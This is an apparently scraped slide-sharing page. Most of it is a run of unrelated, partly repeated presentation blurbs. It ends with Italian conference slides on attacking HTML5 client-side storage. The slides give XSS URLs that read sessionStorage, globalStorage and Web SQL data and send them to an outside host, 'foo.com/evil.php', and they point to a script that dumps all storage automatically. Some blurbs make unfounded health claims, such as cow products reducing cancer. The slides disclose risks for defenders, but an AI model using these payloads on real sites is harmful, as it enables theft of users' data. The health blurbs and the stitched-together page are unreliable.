Back to Basics, webinar 4: Indicizzazione avanzata, indici testuali e geospaz...MongoDB
Questo è il quarto webinar della serie Back to Basics che ti offrirà un'introduzione al database MongoDB. Questo webinar guarda supporto all'indice full-text e il supporto geospaziale.
Back to Basics, webinar 3: Riflessioni sulla progettazione degli schemi nei d...MongoDB
Questo è il terzo webinar della serie Back to Basics che ti offrirà un'introduzione al database MongoDB. Questo webinar ti spiegherà l'architettura dei database di documenti.
PT Kinhamas Abadi is an Indonesian company that provides procurement and supply chain solutions for mining, petrochemical, and power industries. It sources and delivers a wide range of industrial products and equipment, and offers value-added services like quality inspection, packaging, and engineering consultation. The company works with global manufacturers and aims to be a one-stop shop for its clients' procurement needs.
MobiSir Technologies provides outsourced product development, consulting and training services with a focus on being customer-centric, transparent, and ensuring continuous improvement. It has expertise in developing web, mobile, and education applications. Key leadership have extensive experience in software product development and managing outsourcing teams. The company follows agile development practices and aims to ensure on-time delivery and reduce risks for customers.
Unpolished Rice - Panacea for Good Healthgloherbals
Glo Herbals is a GMP certified herbal products manufacturing unit based on ancient Indian life sciences.
For more health tips follow us:
Facebook.com/GloHerbals
Twitter.com/GloHerbals
The document summarizes experiments conducted from 2011-2013 to develop mobile learning applications for students in India. It describes key learnings from building apps for different platforms like J2ME and Android phones. Some of the main findings were that students were interested in offline content but reluctant to download large files, educators wanted to create content but lacked tools and incentives, and the market was fragmented with many low-cost phones having limitations. Based on these learnings, the focus shifted to a web-based platform that could support a wider range of devices and provide tools to help educators create and publish content more easily.
Back to Basics, webinar 4: Indicizzazione avanzata, indici testuali e geospaz...MongoDB
Questo è il quarto webinar della serie Back to Basics che ti offrirà un'introduzione al database MongoDB. Questo webinar guarda supporto all'indice full-text e il supporto geospaziale.
Back to Basics, webinar 3: Riflessioni sulla progettazione degli schemi nei d...MongoDB
Questo è il terzo webinar della serie Back to Basics che ti offrirà un'introduzione al database MongoDB. Questo webinar ti spiegherà l'architettura dei database di documenti.
PT Kinhamas Abadi is an Indonesian company that provides procurement and supply chain solutions for mining, petrochemical, and power industries. It sources and delivers a wide range of industrial products and equipment, and offers value-added services like quality inspection, packaging, and engineering consultation. The company works with global manufacturers and aims to be a one-stop shop for its clients' procurement needs.
MobiSir Technologies provides outsourced product development, consulting and training services with a focus on being customer-centric, transparent, and ensuring continuous improvement. It has expertise in developing web, mobile, and education applications. Key leadership have extensive experience in software product development and managing outsourcing teams. The company follows agile development practices and aims to ensure on-time delivery and reduce risks for customers.
Unpolished Rice - Panacea for Good Healthgloherbals
Glo Herbals is a GMP certified herbal products manufacturing unit based on ancient Indian life sciences.
For more health tips follow us:
Facebook.com/GloHerbals
Twitter.com/GloHerbals
The document summarizes experiments conducted from 2011-2013 to develop mobile learning applications for students in India. It describes key learnings from building apps for different platforms like J2ME and Android phones. Some of the main findings were that students were interested in offline content but reluctant to download large files, educators wanted to create content but lacked tools and incentives, and the market was fragmented with many low-cost phones having limitations. Based on these learnings, the focus shifted to a web-based platform that could support a wider range of devices and provide tools to help educators create and publish content more easily.
JQuery is awesome, but with all major browsers following the ES and HTML5 specs, the library has become more of a convenience than a necessity for browser compatibility. While the library is useful and ubiquitous, it does distract us from learning the language that it's built on. This talk will outline functionalities that pure javascript provides, and also provide steps we can take to begin writing vanilla javascript applications and start appreciating the power and uniqueness of javascript.
The document discusses constipation, its causes, symptoms, and remedies according to ancient Indian life sciences. Constipation is said to be the root cause of many diseases. The frequency of bowel movements varies by factors like age, diet, lifestyle. Imbalances in inputs like food, exercise, and outputs like bowel movements can lead to illness. Regular bowel movements help eliminate toxins produced by the body's biochemical activities. Lifestyle changes like diet, exercise, and herbal remedies are said to help alleviate constipation more than medicines alone.
ArthaVidhya is a skill development program headquartered in Bangalore and promoted by chartered accountants and engineers. It aims to bridge the gap between academic education and corporate requirements through intensive process-based training. The training is 80% practical using an online virtual office environment and 20% in-person classroom training. Students are assessed on their skills and given career counseling to help them identify the right training path. Training involves creating a virtual company and practicing accounting processes through simulations and transactions. The goal is to enhance students' employability and help them secure job placements.
The Social Media Spine: Building the backbone to your online presenceStacy Lukasavitz Steele
Slides for the presentation I gave to Leadership Genesee on social media - very bare-bones approach to building an online presence, doesn't go too deep.
Deck for a webinar I gave to the MSLGROUP North American network on location-based services and augmented reality on December 14, 2010. Part of the "Digital Shark Webinar Series."
A guru always takes you for a ride sadhgururegstuff
Considering a Guru as someone who is supposed to guide the seeker in his quest for self-realization, the statement 'A Guru always takes you for a Ride' may sound provocative, contradictory and unjust, at first sight; however, there are comprehensible, even compulsory reasons for it. In this volume, Sadhguru delivers rare insights into the Guru-shishya relationship.
This document provides a 4-step process for setting up purchasing release strategies in SAP. It begins with determining the approval matrix based on factors like cost center and purchase value. Next, it describes configuring characteristics, classes, and defining the release strategy. Setting up appropriate security roles is also covered. The document provides tips for each step, such as keeping the approval structure simple and transporting characteristic values between environments. The goal is to make this complex SAP process easier to implement and manage.
This case study summarizes the Vasudhara Dairy facility located in Chikhli, Gujarat. The key details provided are:
- The dairy processes 4 lakh LPD of milk across departments for processing, producing by-products like ghee and curd, and packaging.
- The 67,623 sqm site includes a 9,946 sqm built up area with facilities for raw milk reception, processing, packaging, waste water treatment, and administrative functions.
- Milk is collected from adjacent villages, graded, chilled, separated, pasteurized, and stored in processed milk silos before being used to produce products or packaged for distribution.
The document discusses the health benefits of cow products like ghee, milk, curd, butter milk, gomutram, and gomayam. It states that these products can improve digestion, eyesight, energy, immunity, and flexibility. Conditions like migraines, fevers, blood sugar, conjunctivitis, and hiccups can be reduced by consuming different cow products. Applying curd can help heal wounds and reduce pain, swelling, and inflammation. Butter milk with added herbs can aid with gastric issues. Gomutram and gomayam ash can help with intestinal worms, skin problems, and even reduce cancer intensity.
Managing Environmental Project at PT Inco; Actualization of Professional Ethi...Habibie Razak
This paper was presented in front of Conference of ASEAN Federation of Engineering Organization (CAFEO25) at Cebu City, Philipppines, 26 - 29 November 2007
Power point Presentation on SEVAI - COW PROJECT, .sevaingo
This document summarizes a cow dairy project partnership between SEVAI, OFI-France, and other European organizations. The project aims to improve the livelihoods of women and their families through training women in cow rearing, milk production, and forming milk cooperatives. Key activities included constructing cow shelters, purchasing cows, growing fodder, training women in animal husbandry and financial management, and establishing a milk cooperative to market the produced milk. The project has led to increased milk production and incomes for participating women. Financial reporting indicates the project assets exceed initial funding, with plans to repay loans through continued milk sales and revolving funds.
These are some basic funding concepts (including valuation, pre-money, post-money & dilution) for early startup entrepreneurs and others who haven’t been exposed to Business and Finance.
1. The document provides 10 tips for growing taller, including stretching, adjusting posture, exercising, getting plenty of sleep, eating healthy, drinking water, keeping the immune system strong, considering vitamin supplements, being wary of miracle cures, and avoiding growth-stunting factors.
2. Each tip is explained in 1-3 paragraphs with specific exercises, nutrition recommendations, sleep needs, and potential growth-stunting influences.
3. Various supplements, exercises and lifestyle habits are recommended to promote growth and maximize height, while caution is advised about products claiming to rapidly increase height.
This document provides a 10-point checklist for evaluating digital marketplaces based on an essay by Bill Gurley. The checklist examines whether a marketplace (1) makes a behavior dramatically easier, (2) produces more value than current markets, (3) utilizes new technology, (4) consolidates a fragmented market, (5) makes it easy for suppliers to sign up, (6) serves a large market, (7) can bring in new customers, (8) serves a frequent need, (9) controls the transaction, and (10) leverages a network effect. Examples like Alibaba, AirBnB, and YouTube are provided to illustrate each point. The document aims to help evaluate marketplace opportunities by
Trans Pratama Group is a transportation company operating in Java, Indonesia since 1951. It has over 1,600 vehicles and 11 branches across Java. The company provides cargo delivery services for destinations across Java, transporting goods ranging from 25-60 tons. Trans Pratama Group prides itself on safety, punctuality, and customer satisfaction, aiming to be the leading integrated transportation solution.
This document discusses key metrics and strategies for optimizing customer acquisition and sales funnels. It covers metrics like customer acquisition cost (CAC), lifetime value (LTV), conversion rates, and return on investment (ROI) by lead source. It also discusses how to design effective funnels by understanding the buyer's journey, addressing their concerns at each stage, and creating solutions that entice them while reducing friction. Examples are provided of how to diagnose and improve blockage points in the funnel by getting inside the customer's head.
The HTTP protocol was created in 1990 and led to the establishment of the World Wide Web by English physicist Tim Berners-Lee. It led to what is now the world's most used language, HTML (Hyper Text Markup Language). HTML5 is being developed as the next major revision of HTML: what is it about? What will it change?
JQuery is awesome, but with all major browsers following the ES and HTML5 specs, the library has become more of a convenience than a necessity for browser compatibility. While the library is useful and ubiquitous, it does distract us from learning the language that it's built on. This talk will outline functionalities that pure javascript provides, and also provide steps we can take to begin writing vanilla javascript applications and start appreciating the power and uniqueness of javascript.
The document discusses constipation, its causes, symptoms, and remedies according to ancient Indian life sciences. Constipation is said to be the root cause of many diseases. The frequency of bowel movements varies by factors like age, diet, lifestyle. Imbalances in inputs like food, exercise, and outputs like bowel movements can lead to illness. Regular bowel movements help eliminate toxins produced by the body's biochemical activities. Lifestyle changes like diet, exercise, and herbal remedies are said to help alleviate constipation more than medicines alone.
ArthaVidhya is a skill development program headquartered in Bangalore and promoted by chartered accountants and engineers. It aims to bridge the gap between academic education and corporate requirements through intensive process-based training. The training is 80% practical using an online virtual office environment and 20% in-person classroom training. Students are assessed on their skills and given career counseling to help them identify the right training path. Training involves creating a virtual company and practicing accounting processes through simulations and transactions. The goal is to enhance students' employability and help them secure job placements.
The Social Media Spine: Building the backbone to your online presenceStacy Lukasavitz Steele
Slides for the presentation I gave to Leadership Genesee on social media - very bare-bones approach to building an online presence, doesn't go too deep.
Deck for a webinar I gave to the MSLGROUP North American network on location-based services and augmented reality on December 14, 2010. Part of the "Digital Shark Webinar Series."
A guru always takes you for a ride sadhgururegstuff
Considering a Guru as someone who is supposed to guide the seeker in his quest for self-realization, the statement 'A Guru always takes you for a Ride' may sound provocative, contradictory and unjust, at first sight; however, there are comprehensible, even compulsory reasons for it. In this volume, Sadhguru delivers rare insights into the Guru-shishya relationship.
This document provides a 4-step process for setting up purchasing release strategies in SAP. It begins with determining the approval matrix based on factors like cost center and purchase value. Next, it describes configuring characteristics, classes, and defining the release strategy. Setting up appropriate security roles is also covered. The document provides tips for each step, such as keeping the approval structure simple and transporting characteristic values between environments. The goal is to make this complex SAP process easier to implement and manage.
This case study summarizes the Vasudhara Dairy facility located in Chikhli, Gujarat. The key details provided are:
- The dairy processes 4 lakh LPD of milk across departments for processing, producing by-products like ghee and curd, and packaging.
- The 67,623 sqm site includes a 9,946 sqm built up area with facilities for raw milk reception, processing, packaging, waste water treatment, and administrative functions.
- Milk is collected from adjacent villages, graded, chilled, separated, pasteurized, and stored in processed milk silos before being used to produce products or packaged for distribution.
The document discusses the health benefits of cow products like ghee, milk, curd, butter milk, gomutram, and gomayam. It states that these products can improve digestion, eyesight, energy, immunity, and flexibility. Conditions like migraines, fevers, blood sugar, conjunctivitis, and hiccups can be reduced by consuming different cow products. Applying curd can help heal wounds and reduce pain, swelling, and inflammation. Butter milk with added herbs can aid with gastric issues. Gomutram and gomayam ash can help with intestinal worms, skin problems, and even reduce cancer intensity.
Managing Environmental Project at PT Inco; Actualization of Professional Ethi...Habibie Razak
This paper was presented in front of Conference of ASEAN Federation of Engineering Organization (CAFEO25) at Cebu City, Philipppines, 26 - 29 November 2007
Power point Presentation on SEVAI - COW PROJECT, .sevaingo
This document summarizes a cow dairy project partnership between SEVAI, OFI-France, and other European organizations. The project aims to improve the livelihoods of women and their families through training women in cow rearing, milk production, and forming milk cooperatives. Key activities included constructing cow shelters, purchasing cows, growing fodder, training women in animal husbandry and financial management, and establishing a milk cooperative to market the produced milk. The project has led to increased milk production and incomes for participating women. Financial reporting indicates the project assets exceed initial funding, with plans to repay loans through continued milk sales and revolving funds.
These are some basic funding concepts (including valuation, pre-money, post-money & dilution) for early startup entrepreneurs and others who haven’t been exposed to Business and Finance.
1. The document provides 10 tips for growing taller, including stretching, adjusting posture, exercising, getting plenty of sleep, eating healthy, drinking water, keeping the immune system strong, considering vitamin supplements, being wary of miracle cures, and avoiding growth-stunting factors.
2. Each tip is explained in 1-3 paragraphs with specific exercises, nutrition recommendations, sleep needs, and potential growth-stunting influences.
3. Various supplements, exercises and lifestyle habits are recommended to promote growth and maximize height, while caution is advised about products claiming to rapidly increase height.
This document provides a 10-point checklist for evaluating digital marketplaces based on an essay by Bill Gurley. The checklist examines whether a marketplace (1) makes a behavior dramatically easier, (2) produces more value than current markets, (3) utilizes new technology, (4) consolidates a fragmented market, (5) makes it easy for suppliers to sign up, (6) serves a large market, (7) can bring in new customers, (8) serves a frequent need, (9) controls the transaction, and (10) leverages a network effect. Examples like Alibaba, AirBnB, and YouTube are provided to illustrate each point. The document aims to help evaluate marketplace opportunities by
Trans Pratama Group is a transportation company operating in Java, Indonesia since 1951. It has over 1,600 vehicles and 11 branches across Java. The company provides cargo delivery services for destinations across Java, transporting goods ranging from 25-60 tons. Trans Pratama Group prides itself on safety, punctuality, and customer satisfaction, aiming to be the leading integrated transportation solution.
This document discusses key metrics and strategies for optimizing customer acquisition and sales funnels. It covers metrics like customer acquisition cost (CAC), lifetime value (LTV), conversion rates, and return on investment (ROI) by lead source. It also discusses how to design effective funnels by understanding the buyer's journey, addressing their concerns at each stage, and creating solutions that entice them while reducing friction. Examples are provided of how to diagnose and improve blockage points in the funnel by getting inside the customer's head.
The HTTP protocol was created in 1990 and led to the establishment of the World Wide Web by English physicist Tim Berners-Lee. It led to what is now the world's most used language, HTML (Hyper Text Markup Language). HTML5 is being developed as the next major revision of HTML: what is it about? What will it change?
Ormai tutti i browser mettono a disposizione strumenti per l'interfacciamento tramite plugin scritti sempre più spesso usando le classiche tecnologie web, quali Javascript e HTML.
In questa sessione verrà effettuata una prima presentazione della struttura di un plugin per Google Chrome e le funzionalità a cui è possibile accedere attraverso questo; verranno poi analizzate alcune funzioni specifiche fornite dalle API, infine vedremo la procedura di pubblicazione dell'applicazione
MongoDB User Group Padova - Overviews iniziale su MongoDBStefano Dindo
MongoDB è un database non relazionale, orientato ai documenti. Classificato come un database di tipo NoSQL, MongoDB si allontana dalla struttura tradizionale basata su tabelle dei database relazionali in favore di documenti in stile JSON con schema dinamico (MongoDB chiama il formato BSON), rendendo l'integrazione di dati di alcuni tipi di applicazioni più facile e veloce.
Lo scopo del MongoDB User Group Padova è quello di condividere esperienze sulla tecnologia MongoDB.
Questa presentazione, usata durante il primo evento dello User Group, è stata usata per introdurre i partecipanti sulle procedure di installazione ed i concetti di base su MongoDB.
Programmazione web libera dai frameworkFrancesca1980
Un nuovo progetto web parte quasi sempre con la domanda "che framework usiamo?" Diamo per scontato che non si possa sviluppare per il web senza fare uso di framework. Ma che succederebbe se decidessimo di sviluppare senza framework? Potremmo ottenere maggiore controllo e qualità, meno rischi e meno costi. Serve "solo" la volontà di imparare a programmare bene. Darò alcune dritte con Java e TDD.
Queste sono le slide della mia presentazione al T3CampItalia 2011. Argomento della presentazione è stata la sicurezza in TYPO3, dalle impostazioni in fase di installazione, alle estensioni utili (es. il PHPIDS: Intrusion detection system), fino alle tecniche di programmazione per evitare gli attacchi più comuni (es. sql injection e cross site scripting).
How create a single page apps using html5 and javascript Stefano Marchisio
Create a html5/javascript apps with mvc/ajax using knockout.js/mvvm. Javascript to IQueryable is a framework that allows you to write a simple query in javascript client side and then execute it server side with EntityFramework or a linq provider that implement IQueryable. On the server is used "Dynamic Expressions and Queries in LINQ by Microsoft" to compose dynamically your query. In this way you can create a grid with filter, paging and sort functions. There is also support for: mvc3 unobtrusive jquery validation and jquery mobile/phonegap. - http://Javascriptiqueryable.codeplex.com - http://www.youtube.com/watch?v=qjwyKwsXHKs - http://www.linqitalia.com/articoli/entity-framework/sfruttare-javascript-eseguire-query-linq-server-tramite-dynamic-iqueryable.aspx
jQuery è un framework javascript che permette di semplificare la scrittura di codice javascript, facilitando l'iterazione con gli elementi della pagina (controlli, stili, eventi, animazioni, ...), e permettendo di aumentare la user experience delle applicazioni, riducendone al tempo stesso la complessità di scrittura. Vista la sua diffusione e potenza, è stato anche incluso nei project templete di Visual Studio. In questa sessione vedremo cos'è jQuery, e scopriremo le potenzialità e funzionalità che offre, verificando se il motto "write less do more" sia vero o meno.
1. Abusing HTML 5
Client-side Storage
Myth: the client’s machine
is a safe place to store data
Relatore: Alberto Trivero
2. Client-side storage finora
Limiti nello storage, nell’interoperabilità e strutturali
userData (Internet Explorer 5.5+)
Local Shared Object (cross-browser + Adobe Flash
Player 6+ plugin)
Google Gears (Firefox & IE + plugin)
HTTP cookies (veramente cross-browser)
3. Due parole su HTML 5
Sviluppo iniziato nel 2004 dal Web Hypertext Application
Technology Working Group (WHATWG) con l’aiuto del
HTML Working Group del W3C dal 2007
Pubblicazione della First Public Working Draft il 22
gennaio 2008
Molte le novità introdotte per adeguarsi alla web 2.0
mania, alcune delle quali già implementante da tempo in
diversi browser (p.es. <canvas> )
Stato di W3C Candidate Recommendation nel 2012...
4. HTML 5 client-side storage
Forse la novità più interessante per chi si occupa di
sicurezza
Si concretizza in 3 diverse tipologie di storage:
Session Storage
Local Storage (ex Global Storage)
Database Storage
In Firefox e Internet Explorer prende il nome (improprio)
di DOM Storage
5. Implementazione nei browser
Gecko 1.9 (Firefox 3.0)
Session Storage e Global Storage
WebKit r34xxx (Safari 4)
Session Storage, Local Storage e Database Storage
Trident VI (Internet Explorer 8 Beta 2)
Session Storage e Local Storage
Presto (Opera 9.60)
Nada...!
6. E il mio browser cosa
supporta?
var storSupp = quot;quot;;
if(quot;sessionStoragequot; in window)
{ storSupp += quot;Session Storage quot;; }
if(quot;globalStoragequot; in window)
{ storSupp += quot;Global Storage quot;; }
if(quot;localStoragequot; in window)
{ storSupp += quot;Local Storage quot;; }
if(quot;openDatabasequot; in window)
{ storSupp += quot;Database Storage quot;; }
document.write(storSupp);
7. Session Storage
Simile ai cookies HTTP ma più efficiente in diversi casi
Immagazzina stringhe associandole univocamente al
dominio (location.hostname) e alla finestra (o tab)
correnti
Persiste sino alla chiusura della finestra o del tab
Non vi sono precisi limiti di storage (p.es. 5 MB in
Firefox 2 e 10 MB in IE8)
Esempio: sessionStorage.foo = “bar”;
8. Local Storage (Global Storage)
Mentre global storage è associabile ad un qualsiasi
dominio (TLD compreso), local storage viene in
automatico associato al dominio corrente
Come il session storage anch’essi immagazzinano
stringhe ma sono accessibili da qualsiasi finestra (o tab)
Persistono sino all’eliminazione da parte della web app
Esempi: localStorage.foobar = 13;
globalStorage['example.com'].foo = quot;barquot;;
/Users/XXX/Library/Application Support/
Firefox/Profiles/XXX/webappsstore.sqlite
9. Database Storage
Rende possibile l’utilizzo di un vero e proprio database
SQL (di solito SQLite) lato client per lo storage persistente
di dati strutturati (anche centinaia di MB)
Accesso limitato al solo dominio di origine
Esempio: db = openDatabase(quot;dbTestquot;, quot;1.0quot;,
quot;First Databasequot;, 300000);
db.transaction(function(tx)
{ tx.executeSql(quot;CREATE TABLE MyTb (id
REAL)quot;); });
Dati in: /Users/XXX/Library/Safari/Databases
10. Some boring (in)security
Solo Session Storage
Se un utente naviga su una sola finestra (o tab), è
possibile recuperare i dati di molto tempo addietro
Solo Global Storage
La possibilità di settare il dominio per la condivisione
può portare ad una condivisione indesiderata di dati
Global Storage e Local Storage
Non è possibile configurare una scadenza automatica
Nessun controllo dell’integrità dei dati: salvati in db
SQLite (files), facilmente accessibili e manipolabili
In Firefox 3 non è stato implementato clear()
11. C’è qualcosa di strano...
sessionStorage.foo = false;
if(sessionStorage.foo) { alert(quot;veroquot;); }
else { alert(quot;falsoquot;); }
Cosa visualizza lo script? vero... Su tutti i browser! ?_?
typeof(sessionStorage.foo) ritorna string su
WebKit e IE e ritorna object su Gecko, mai boolean!
Per ottenere falso, come ci si aspetterebbe, si può usare
sessionStorage.foo = ‘’; ma vale solo su WebKit
Su Gecko sembra impossibile ottenere falso, anche con
toString
12. Abusing Client-side Storage
Se la web application è vulnerabile ad attacchi come
XSS, è possibile utilizzare un payload che permetta di
leggere/modificare il contenuto di qualsiasi variabile di
storage lato client (session, local, global e database)
Se la web app carica dati o codice dallo storage locale
posso iniettare del codice in modo che venga eseguito
poi tutte le volte che il dato infettato viene richiesto
Quando un PC viene compromesso, guardare tra lo
storage locale può essere molto interessante
13. Abusing Client-side Storage
Tutti i metodi di attacco client-side sin ora studiati
ricevono nuove possibilità d’azione (altro che cookies
stealing, e non c’è HTTPOnly che regga)
Aumentano i modi per tracciare le preferenze di un
utente (v. spy cookies)
Con database e global/local storage possibilità molto
superiori per i web worm di diffondersi (persistent XSS):
in futuro molti MB di dati locali di milioni di utenti a rischio
14. Abusing Client-side Storage
“Imagine a personal finance site storing your stock
portfolio and historical prices locally, [...] your favorite
blogging tool might already use local storage to
automatically save drafts of your blog posts, [...] a
personalized homepage might store your selected
widgets and their content locally, [...] web applications
such as Google Calendar might store your appointments
locally, [...] your webmail will be downloaded locally [...].
I'm excited to see more applications start to use client-
side storage”, Niall Kennedy, web technologist
15. Abusing Client-side Storage
Ora tocca a me...
Immagina che chiunque possa accedere da Internet al
tuo portafoglio elettronico scoprendo quali azioni
possiedi e magari modificandole, alle bozze (pubbliche o
private) del tuo blog, ai tuoi widgets e alle informazioni
che essi portano, alla tua agenda di appuntamenti, alle
tue mail senza bisogno di cookies o passwords...
E magari immagina ancora che esista uno script in grado
di fare tutto questo automaticamente in una botta sola
Già, proprio eccitante! :P
16. Enumerazione degli
Storage object
Nel caso volessimo acquisire i dati contenuti in
sessionStorage, globalStorage e localStorage,
esistono due vie per scoprire i nomi di chiavi non note:
var ss = quot;quot;;
for(i in window.sessionStorage)
{ ss += i + quot; quot;; }
var ls = quot;quot;;
for(i = 0; i < localStorage.length; i++)
{ ls += localStorage.key(i) + quot; quot;; }
17. Enumerazione dei
Database object
“There is no way to enumerate or delete the databases
available for a domain from this API” HTML 5 Working Draft
Nel caso in cui volessimo acquisire i dati contenuti in un
Database object non conoscendone però il nome, si deve
usare qualche escamotage per risalire ad esso:
var db = quot;quot;;
for(i in window)
{ if(window[i] == “[object Database]”)
{ db += i + “ “; } }
18. Extracting database metadata
Ogni database SQLite ha una tabella sqlite_master
contenente l’elenco delle tabelle del database:
SELECT name FROM sqlite_master WHERE
type='table'
Per ottenere l’elenco delle colonne (al momento della
creazione o anche aggiunte in seguito) di una tabella:
SELECT sql FROM sqlite_master WHERE
name='nome_tabella'
WebKit attualmente usa SQLite versione 3.4.0 (la 3.6.1
è l’ultima disponibile): SELECT sqlite_version()
19. One shot attack
Ciò che rende scomodi gli attacchi client-side è la difficoltà
di interagire costantemente e in qualsiasi momento con il
bersaglio
Se un’applicazione ha una falla di cross-site scripting posso
usarla per prendere dei dati mirati:
http://example.com/page.php?name=<script>
document.write('<img src=quot;http://foo.com/evil.php?
name=' %2B globalStorage[location.hostname].
chiave %2B 'quot;>');</script>
http://example.com/page.php?name=<script>
db.transaction(function (tx) { tx.executeSql
(quot;SELECT * FROM tabella_clientquot;, [], function(tx,
result) { document.write('<img src=quot;http://
foo.com/evil.php?name=' %2B result.rows.item(0)
['dato'] %2B 'quot;>'); }); });</script>
21. Attack automation:
HTML5CSdump
Nel caso non si abbia alcuna conoscenza dei nomi delle
chiavi negli Storage objects o delle tabelle nel database,
posso creare uno script JavaScript che automatizzi
l’intero processo di acquisizione dei dati lato client:
http://example.com/page.php?name=<script
src=http://foo.com/evil.js></script>
evil.js utilizzerà le tecniche di enumerazione e di
estrazione descritte prima per acquisire tutto lo storage
lato client di HTML 5 memorizzato sul PC della vittima dal
browser e relativo al dominio dell’applicazione vulnerabile
trivero.secdiscover.com/html5csdump.js
23. Cross-directory attacks
Per le tre metodologie di storage lato client di HTML 5
non esiste un’equivalente del parametro Path dei cookies
Ciò significa che una falla XSS&c. in una qualunque
pagina di un sito, può portare alla cattura o modifica dei
dati che il sito ha memorizzato sul PC dell’utente
attaccato
Risulta quindi assolutamente sconsigliato l’utilizzo di
queste metodologie di storage per chi usa siti quali
geocities.com, myspace.com, livejournal.com, etc.
24. Cross-domain & cross-port
attacks
Un attacco cross-domain è fattibile contro il global
storage di Firefox 2. Se le restrizioni per i domini sono
blande, un subdomain può accedere ai dati di un altro:
user.altervista.org può accedere su admin.altervista.org a
globalStorage[‘altervista.org’].silly
Non potendo mettere restrizioni sulle porte, se sullo
stesso host girano due web server su due porte diverse
(o qualsiasi altro tipo di sevizio XSSable), ciascuno può
accedere allo storage locale dell’altro
25. Client-side SQL injection
Gli attacchi di SQL injection, da sempre considerati un
problema server-side, ora lo diventano anche client-side
Il problema si presenta quando i parametri delle query SQL
non sono passati attraverso il simbolo ? ma direttamente:
executeSql(quot;SELECT name FROM stud WHERE
id=quot; + input_id);
Invece di: executeSql(quot;SELECT name FROM stud
WHERE id=?quot;, [input_id]);
Sfruttabilità dell’attacco variabile
Con WebKit, non tutti i comandi SQL che SQLite supporta
sono permessi: p.es. PRAGMA e ATTACH
27. Conclusioni
Le prime bozze di HTML 5 introducono una funzionalità di
storage lato client molto interessante ma anche rischiosa
Attualmente tutti i maggiori browser si stanno affrettando
per supportare queste e altre specifiche
La reale portata dei rischi legati a questa tecnologia sarà
visibile solo quando verrà adottata su larga scala (ora
come ora è quasi inesistente ma subirà sicuramente una
crescita esponenziale nei prossimi mesi e anni)
28. Links utili
Trovate queste slide all’indirizzo:
http://trivero.secdiscover.com/smau08.pdf
White Paper:
http://trivero.secdiscover.com/html5whitepaper.pdf
www.whatwg.org/specs/web-apps/current-work/
multipage/structured.html
developer.mozilla.org/en/docs/DOM:Storage
msdn.microsoft.com/en-us/library/cc197062(VS.85).aspx
Ajax Security: www.amazon.com/Ajax-Security-Billy-
Hoffman/dp/0321491939/